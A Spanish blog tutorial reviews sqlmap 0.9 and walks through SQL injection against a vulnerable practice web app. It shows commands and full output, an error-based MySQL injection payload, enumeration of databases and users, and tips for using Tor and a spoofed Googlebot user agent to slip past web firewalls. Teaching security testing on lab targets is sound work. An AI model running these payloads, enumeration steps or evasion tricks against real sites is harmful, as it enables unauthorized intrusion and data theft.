Recientemente se ha publicado la nueva versión de la conocida herramienta sqlmap para explotar y analizar vulnerabilidades de SQL Injection en aplicaciones web. En Hacktimes hemos estado este tiempo trasteando y probando las nuevas funcionalidades y las mejoras que se han realizado y este artículo es el resultado obtenido.
Sqlmap versión 0.9 (http://sqlmap.sourceforge.net) se ha convertido en uno de esos programas indispensables a la hora de revisar la seguridad de cualquier página web. SQLMAP es una herramienta que no dispone de un entorno gráfico sino que basa toda su potencia en la línea de comandos con múltiples parámetros y opciones, está desarrollada en lenguaje python y puede funcionar bajo Windows, Linux, Solaris, etc.
Entre sus nuevas características y mejoras destacan:
- Soporte para los motores de base de datos MySQL, Oracle, PostgreSQL, MSSQL, MS Access, SQLite versiones 2 y 3, Firebird, Sybase y MaxDB de SAP.
- Integración con Metasploit y W3af. Sqlmap se basa en Metasploit para crear el shellcode y ejecutar comandos en el servidor de base de datos. Además, se sirve de la vulnerabilidad MS10-015 (http://www.microsoft.com/technet/security/bulletin/ms10-015.mspx) para poder realizar elevación de privilegios en el servidor también a través de Metasploit.
- Soporte para cinco técnicas de SQL Injection como blind SQLi basado en tiempo (full blind SQLi) y en expresiones booleanas (inferencial SQL injection), SQL injection basado en errores de la aplicación, consultas Union o inband SQL injection y peticiones stacked.
- Posibilidad de conectarse directamente a la base de datos a través de una inyección de SQL, al proporcionar las credenciales del Sistema de gestión de base de datos o DBMS, dirección IP, puerto y el nombre de dicha base de datos.
- Enumeración de los usuarios de la base de datos, obtención de los ficheros "hash" con las contraseñas, usuarios con privilegios, roles, volcar las bases de datos existentes, descarga de tablas, columnas, realizar un SQL SELECT determinado, etc. Además, es capaz de reconocer de forma automática el formato de dichos archivos "hash" de contraseñas y realizar ataques contra las mismas basados en diccionario.
- Posibilidad de descargar y/o subir cualquier fichero al servidor de la base de datos o, incluso, ejecutar comandos a nivel de sistema operativo, siempre que el motor sea MySQL, PostgreSQL o MSSQL.
- Además, se integra cada vez mejor con proxys (HTTP y HTTPS) pudiendo incluso funcionar con un cliente de la red TOR (https://www.torproject.org) para conseguir cierto anonimato a la hora de realizar la revisión o auditoría de seguridad (parámetro --tor una vez que se haya configurado previamente el cliente TOR).
EJEMPLOS DE USO
Sirviéndonos de una de esas aplicaciones en formato .ISO o vmware (Badstore.net, DVWM, etc.) con multitud de vulnerabilidades que probar, el funcionamiento de sqlmap y algunas de sus opciones más importantes es el siguiente:
1. Comprobar que se dispone de la última versión actualizada de sqlmap y que arranca correctamente en, este caso, un entorno Windows con el intérprete de python instalado.
c:\sqlmap\sqlmap.py --version (se puede utilizar el parámetro --update directamente y obtener la última versión disponible en el repositorio, sólo en sistemas operativos Linux)
sqlmap/0.9 - automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net
2. Detectar algún parámetro vulnerable a SQLi en nuestra aplicación de prueba.
Para verificar que es vulnerable metemos el tan conocido 1=1 o 1' en el campo de búsqueda (función search) de la aplicación. El resultado es, como se puede apreciar en la siguiente captura de pantalla, obtener un mensaje de error de la aplicación en la que se indica que se trata de un servidor MySQL y que demuestra que presenta una vulnerabilidad de SQLi.

Fig 1. Resultado de poner 1' en el campo de búsqueda de la aplicación
El resultado de lanzar sqlmap buscando una inyección en el parámetro search que ya se ha visto que es vulnerable es:
C:\sqlmap>sqlmap.py -u http://www.hacktimes.com/search.php?search=1
sqlmap/0.9 - automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net
[*] starting at: 20:54:23
[20:54:24] [INFO] using 'C:\sqlmap\output\www.hacktimes.com\session' as session file
[20:54:50] [INFO] testing if the url is stable, wait a few seconds
[20:55:13] [INFO] url is stable
[20:55:13] [INFO] testing if GET parameter 'search' is dynamic
[20:56:20] [WARNING] GET parameter 'search' is not dynamic
[20:56:21] [INFO] heuristic test shows that GET parameter 'search' might be injectable (possible DBMS: MySQL)
[20:56:21] [INFO] testing sql injection on GET parameter 'search'
[20:56:21] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[20:59:29] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[20:59:56] [INFO] GET parameter 'search' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
[20:59:56] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[20:59:58] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[21:00:04] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[21:02:10] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'search' is vulnerable. Do you want to keep testing the others? [y/N] y
sqlmap identified the following injection points with a total of 33 HTTP(s) requests:
---
Place: GET
Parameter: search
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: search=1 AND (SELECT 6119 FROM(SELECT COUNT(*),CONCAT(CHAR(58,
101,113,107,58),(SELECT (CASE WHEN (6119=6119) THEN 1 ELSE 0 END)),CHAR(58,98,105,105,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
---
[21:04:15] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: PHP 5.2.6, ASP.NET, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[21:04:15] [INFO] Fetched data logged to text files under 'C:\sqlmap\output\www.hacktimes.com'
[*] shutting down at: 21:04:15
Se confirma la vulnerabilidad y sqlmap ha sido capaz de detectar el motor de base de datos MySQL 5.0.11, el sistema operativo del servidor, Windows 2003, el servidor Web (IIS 6.0) y la tecnología usada (PHP, ASP.NET, etc.) así como el tipo de SQL injection utilizado (basado en errores a partir del error que daba la función de buscar de la web).
Otro de los detalles destacados de sqlmap es que es capaz de restaurar la sesión anterior con lo que no es necesario que el programa vuelva a lanzar las mismas pruebas y repita comprobaciones ya realizadas, de ahí el fichero "session" (using 'C:\sqlmap\output\www.hacktimes.com\session' as session file) al iniciar el programa. Esto agiliza bastante el explotar vulnerabilidades de SQL injection y reduce enormemente el tiempo empleado.
3. Ya disponemos de una aplicación vulnerable y confirmada y también un parámetro donde explotar dicha vulnerabilidad. Vamos a lanzar sqlmap para obtener más información de la página web, es decir, bases de datos existentes, usuarios, contraseñas, nombres de tablas, etc. Empecemos por ver el nombre de la base de datos que soporta la página (parámetro --current-db):
C:\sqlmap>sqlmap.py -u http://www.hacktimes.com/search.php?search=1 --current-db
El nombre de la BBDD es: hacktimesdb
sqlmap/0.9 - automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net
[*] starting at: 21:35:45
[21:35:45] [INFO] using 'C:\sqlmap\output\www.hacktimes.com\session' as session file
[21:35:45] [INFO] resuming injection data from session file
[21:35:45] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[21:35:45] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: search
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: search=1 AND (SELECT 2963 FROM(SELECT COUNT(*),CONCAT(CHAR(58,107,101,112,58),(SELECT (CASE WHEN (2963=2963) THEN 1 ELSE 0 END)),CHAR(58,115,9
7,109,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
---
[21:36:02] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: PHP 5.2.6, ASP.NET, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[21:36:02] [INFO] fetching current database
[21:36:02] [INFO] read from file 'C:\sqlmap\output\www.hacktimes.com\session': hacktimesdb
current database: 'hacktimesdb'
[21:36:02] [INFO] Fetched data logged to text files under 'C:\sqlmap\output\www.hacktimes.com'
[*] shutting down at: 21:36:02
4. Ahora vamos a comprobar qué usuarios hay dentro de la base de datos así como qué otras BBDD pueden existir en el servidor analizado (opciones --users y --dbs):
C:\sqlmap>sqlmap.py -u http://www.hacktimes.com/search.php?search=1 --dbs --users
Nombre de usuario "hacktimes'@'%" y 3 bases de datos (information_schema, hacktimesdb y test).
sqlmap/0.9 - automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net
[*] starting at: 21:36:44
[21:36:44] [INFO] using 'C:\sqlmap\output\www.hacktimes.com\session' as session file
[21:36:44] [INFO] resuming injection data from session file
[21:36:44] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[21:36:44] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: search
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: search=1 AND (SELECT 2963 FROM(SELECT COUNT(*),CONCAT(CHAR(58,107,101,112,58),(SELECT (CASE WHEN (2963=2963) THEN 1 ELSE 0 END)),CHAR(58,115,9
7,109,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
---
[21:37:25] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: PHP 5.2.6, ASP.NET, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[21:37:25] [INFO] fetching database users
[21:37:29] [INFO] the SQL query used returns 1 entries
[21:38:01] [INFO] retrieved: 'hacktimes'@'%'
database management system users [1]:
[*] 'hacktimes'@'%'
[21:38:01] [INFO] fetching database names
[21:38:03] [INFO] the SQL query used returns 3 entries
[21:38:04] [INFO] retrieved: information_schema
[21:38:06] [INFO] retrieved: hacktimesdb
[21:38:29] [INFO] retrieved: test
available databases [3]:
[*] information_schema
[*] hacktimesdb
[*] test
[21:38:29] [INFO] Fetched data logged to text files under 'C:\sqlmap\output\www.hacktimes.com'
[*] shutting down at: 21:38:29
5. Sqlmap permite trabajar con proxys y, como se ha comentado anteriormente, utilizar un cliente de la red TOR, la forma sería la siguiente:
c:\sqlmap\sqlmap.py -u http://URL/index.php?cata_id=1 -–tor --user-agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
Con el parámetro --tor le indicamos que utilice el cliente de la red Tor previamente definido en el equipo. Además, jugando con el "user agent" se le indica a la aplicación web revisada que se trata del bot de google quien, aparentemente, realiza la petición. De esta forma se consigue anonimato con la red Tor y evadir y saltarse algún sistema de firewall web y/o IPS que no esté correctamente configurado.
Para utilizar algún proxy la opción es --proxy y el comando sería tal que así:
C:\sqlmap>sqlmap.py --proxy http://IP_PROXY:PUERTO -u http://www.hacktimes.com/search.php?search=1
MÁS INFORMACIÓN
Manual de sqlmap: http://sqlmap.sourceforge.net/doc/README.pdf
Videos sobre el funcionamiento de sqlmap: http://www.youtube.com/user/inquisb#g/u


Comentarios
excelente test
muy bueno y educativo sin duda.
Añadir comentario